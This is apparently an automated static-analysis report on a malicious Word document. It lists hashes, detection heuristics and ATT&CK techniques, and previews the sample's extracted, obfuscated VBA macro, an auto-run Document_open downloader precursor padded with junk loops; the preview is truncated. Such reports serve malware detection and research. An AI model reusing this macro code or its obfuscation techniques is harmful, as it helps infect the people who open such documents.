Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 defb325af6131dd7…

MALICIOUS

Office (OLE)

74.0 KB Created: 2019-12-11 05:48:00 Authoring application: Microsoft Office Word First seen: 2021-07-10
MD5: 4f14562c35e9088e06b8d4a6da282b45 SHA-1: c94413d6ec52acf2a555dd6814d8cecc56c2ffbf SHA-256: defb325af6131dd74025e80cb89aaa18d9b39911ff5640d2bd4dc55edd7cf461
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that executes upon opening the document. This macro employs obfuscation techniques, including reassembling API names from split string literals, to hide its functionality. It utilizes WMI (Win32_Process.Create) to launch a process, indicating a downloader or execution precursor. The specific payload or ultimate target could not be determined due to the obfuscation and truncated script.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7444777-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7444777-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7680 bytes
SHA-256: ae6260cc3f79d32df5856803c9551a613b24194f084cdaecb1d49debb0bfb4bf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lfldghwjhe"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Yaoakyevgz, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Lernakvskn = Kjtwbersn To 0
         Gigvottkukol = (13 - Atn(51) - (44 + Round(41) * Vleqykzd / CInt(1)))
    Select Case Uaqttujwrk
      Case Tphzqdkxv
         Uftnbpit = CLng(Xancarzastgr)
         Pjztwssnxxwn = Oct(Hhiqhlvot)
      Case Llwddwcobxs
         Xlakdpgmrrs = Pkfvbpddkh
         Tbtzxkprtt = Int(29)
   End Select
Next
   For Btppjpvlbqvih = Suzkxaxh To 0
         Vkbxaqwtt = (13 - Atn(51) - (44 + Round(41) * Kirvhdtpwreg / CInt(1)))
    Select Case Pkimweltkneu
      Case Zypoqhil
         Pwdsznqelgl = CLng(Hwuhqxdrnps)
         Bqqjjdcuwaatu = Oct(Aihptkirwzroe)
      Case Hlcblaoc
         Etkwtowzh = Idwotztjr
         Wuspqsmwlgkgp = Int(29)
   End Select
Next
   For Tixeoormfz = Ytwkpyzntuu To 0
         Ngdyrhvnmh = (13 - Atn(51) - (44 + Round(41) * Kghlgdsp / CInt(1)))
    Select Case Qzdivqarynts
      Case Oonstcmlt
         Rrcnrcout = CLng(Vjlfmuip)
         Fzxsqawphefv = Oct(Zyehlfyh)
      Case Sehoprdeyn
         Eubbsfmlxzfh = Qadetyhnzlt
         Pbbxpsht = Int(29)
   End Select
Next
Mpnfpljlonr
End Sub

Attribute VB_Name = "Ejyzmvbkrp"
Attribute VB_Base = "0{9632D065-8F32-4F20-BF7A-DAE07EDA64E6}{A6BC55A8-4306-48F9-BA01-E44DBB2560B4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hyxtmzvm"
Function Bolvihvu()
   For Vatkztrdsp = Ekpcknusq To 0
         Cvplammpiqluq = (13 - Atn(51) - (44 + Round(41) * Lmdepngfdgybe / CInt(1)))
    Select Case Pvcarojirr
      Case Dntpynlc
         Melvqleblir = CLng(Qrpykbel)
         Ndrkqzosvd = Oct(Yovxxdqfxj)
      Case Cyjoabedyu
         Zbnbxpvubhta = Dauhlexfhs
         Ruywkdqdywqph = Int(29)
   End Select
Next
Tqaoaidqycgf = Lfldghwjhe.Yaoakyevgz
   For Aseuppic = Rtcwqnylydgaj To 0
         Qahwpdxqjpm = (13 - Atn(51) - (44 + Round(41) * Iysogezlbmht / CInt(1)))
    Select Case Nqxziceyoag
      Case Tdshescczksuf
         Poadgnjzm = CLng(Srkjrhhi)
         Iedafnnff = Oct(Azjaacsi)
      Case Gsaalspt
         Wvxgjwcazvu = Zssbjrfoav
         Mcauvxmu = Int(29)
   End Select
Next
Rbzcmhoylgvet = Tqaoaidqycgf + Ejyzmvbkrp.Xdfherayukc + Ejyzmvbkrp.Fjwptlmdva + Ejyzmvbkrp.Zyrqjnnykjfa
   For Yyrskeahxxbh = Yyeilorss To 0
         Xylcvpqglkab = (13 - Atn(51) - (44 + Round(41) * Hdjeolakvt / CInt(1)))
    Select Case Rppbfgaznf
      Case Chlbywyw
         Ekhoegtndsnky = CLng(Kfubrybpebh)
         Lzvsxukftqbuf = Oct(Vrrikkor)
      Case Vxdvdnxfucdw
         Eplqothlzzt = Ypoxisycwh
         Deolwyzweev = Int(29)
   End Select
Next
Ywmvszgb = Rbzcmhoylgvet + Ejyzmvbkrp.Apiyfilhlm + Ejyzmvbkrp.Auhuutob.ControlTipText
   For Kwhrcnlsjda = Baconoyp To 0
         Jeyhlxokhhh = (13 - Atn(51) - (44 + Round(41) * Ozccksjed / CInt(1)))
    Select Case Jjtgxhbajiyn
      Case Auutstvms
         Kmnxsjfmdyc = CLng(Mzggfzplz)
         Xokkyawrfq = Oct(Ndrytbagxqlh)
      Case Ohsydkqczd
         Ndckzryesdob = Zpnhddrllo
         Mceldnzyn = Int(29)
   End Select
Next
Bolvihvu = Vdrqmghww + Ywmvszgb + Vdrqmghww
   For Krtdmlfvlomyb = Vyptjpgoatcvg To 0
         Hwdxbnwyn = (13 - Atn(51) - (44 + Round(41) * Saxhqblns / CInt(1)))
    Select Case Xrjddtjjqze
      Case Pvekjzacq
         Fqtdajtxquzmn = CLng(Codngnvqrv)
         Dtpkhnnx = Oct(Gigfholq)
      Case Mzwlzcwikzb
         Ipeakrya = Ciugbggebmgoe
         Lerennzy = Int(29)
   End Select
Next
End Function
Function Mpnfpljlonr()
   For Thslevrdltdrd = Egizzqyvz To 0
         Hsvlewacjz = (13 - Atn(51) - (44 + Round(41)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.